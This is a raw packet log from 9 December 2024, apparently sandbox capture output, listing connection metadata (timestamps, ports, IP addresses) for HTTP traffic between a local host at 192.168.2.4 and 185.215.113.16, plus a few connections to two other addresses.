Dec 9, 2024 23:09:42.121741056 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.124666929 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.124794960 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.124864101 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.127790928 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.127904892 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.127953053 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.130865097 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.130970955 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.131814957 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.133944988 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.134028912 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.136658907 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.136797905 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.136909008 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.139503956 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.139647007 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.139693022 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.142363071 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.142462969 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.142545938 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.145036936 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.145106077 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.145155907 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.146473885 CET	80	49879	34.107.221.82	192.168.2.4
Dec 9, 2024 23:09:42.147717953 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.147814035 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.148142099 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.150338888 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.150481939 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.150779009 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.152967930 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.153139114 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.153188944 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.155540943 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.155596018 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.155644894 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.158097029 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.158209085 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.158257961 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.160573006 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.160686970 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.160729885 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.163059950 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.163199902 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.163247108 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.165515900 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.165664911 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.168010950 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.168163061 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.168349981 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.170434952 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.170519114 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.170567989 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.172873020 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.172986031 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.173038960 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.175278902 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.175410032 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.175467968 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.177632093 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.177736998 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.177783012 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.180058002 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.180169106 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.180227995 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.182415009 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.182552099 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.184813023 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.184915066 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.187217951 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.187256098 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.189132929 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.189652920 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.189697027 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.191973925 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.191999912 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.192137003 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.192229986 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.194405079 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.194477081 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.194555044 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.196747065 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.196871042 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.196929932 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.199129105 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.199207067 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.199254990 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.201561928 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.201653957 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.201894045 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.204070091 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.204082012 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.204128027 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.206325054 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.206384897 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.207387924 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.208678961 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.208925009 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.209158897 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.211091042 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.211191893 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.211266994 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.213464975 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.213567972 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.213615894 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.215847969 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.215972900 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.216021061 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.218312025 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.218396902 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.220635891 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.220653057 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.220865011 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.220912933 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.223109961 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.223268986 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.223318100 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.225454092 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.225513935 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.225558996 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.227792025 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.227900982 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.227946043 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.230245113 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.230361938 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.230405092 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.232698917 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.232769966 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.234036922 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.234972000 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.235105991 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.237370968 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.237509966 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.238756895 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.239764929 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.239823103 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.240036011 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.242141962 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.242249966 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.242405891 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.244579077 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.244728088 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.244947910 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.310070038 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.310241938 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.310286999 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.310926914 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.311043978 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.311088085 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.312711000 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.312839985 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.312884092 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.314511061 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.314568043 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.314681053 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.316273928 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.316324949 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.316373110 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.318089008 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.318202019 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.318248034 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.319722891 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.319802999 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.321258068 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.321348906 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.321465969 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.321618080 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.323003054 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.323185921 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.323235035 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.324642897 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.324743986 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.325448036 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.326308966 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.326472044 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.326520920 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.327836037 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.327945948 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.327996016 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.329452991 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.329555035 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.329807043 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.331065893 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.331176996 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.331814051 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.332619905 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.332736015 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.334115028 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.334321022 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.334338903 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.335727930 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.335966110 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.337166071 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.337266922 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.338692904 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.338788033 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.340223074 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.340312004 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.341700077 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.341774940 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.343297005 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.343353033 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.344716072 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.344819069 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.346190929 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.346524000 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.347618103 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.347733021 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.348499060 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.348814964 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.348839045 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.349020958 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.349184036 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.349227905 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.350436926 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.350516081 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.351855040 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.351952076 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.353256941 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.353383064 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.354681015 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.354794979 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.356075048 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.356179953 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.357486963 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.357559919 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.358881950 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.358957052 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.360272884 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.360347033 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.360929012 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.361083984 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.361763954 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.361782074 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.362010956 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.363089085 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.363197088 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.364468098 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.364536047 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.365829945 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.365838051 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.365920067 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.366708994 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.366786003 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.367547989 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.367645025 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.368422985 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.368477106 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.369347095 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.369426966 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.370166063 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.370297909 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.371042013 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.371162891 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.371892929 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.371989965 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.372814894 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.372921944 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.373670101 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.373769999 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.374070883 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.374377966 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.374398947 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.374572039 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.374725103 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.374953985 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.375691891 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.375792980 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.375840902 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.376555920 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.376715899 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.376760960 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.377219915 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.377315044 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.377413988 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.377964020 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.378077030 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.378896952 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.379007101 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.379713058 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.379746914 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.434614897 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.473771095 CET	49882	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:42.473802090 CET	443	49882	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:42.474024057 CET	49882	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:42.475331068 CET	49882	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:42.475344896 CET	443	49882	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:42.502418041 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.502543926 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.502592087 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.502650976 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.502825975 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.502875090 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.503504038 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.503839016 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.503907919 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.503954887 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.504729033 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.504774094 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.504806042 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.505645990 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.505688906 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.505719900 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.506498098 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.506542921 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.506573915 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.507419109 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.507462978 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.507592916 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.508289099 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.508332968 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.508414030 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.509068012 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.509105921 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.509171009 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.509965897 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.509996891 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.510014057 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.510879040 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.510925055 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.510998964 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.511820078 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.511862040 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.511877060 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.512774944 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.512823105 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.512885094 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.513465881 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.513508081 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.513581991 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.514275074 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.514318943 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.514378071 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.515167952 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.515218973 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.515223026 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.516019106 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.516125917 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.516211987 CET	49868	80	192.168.2.4	185.215.113.16
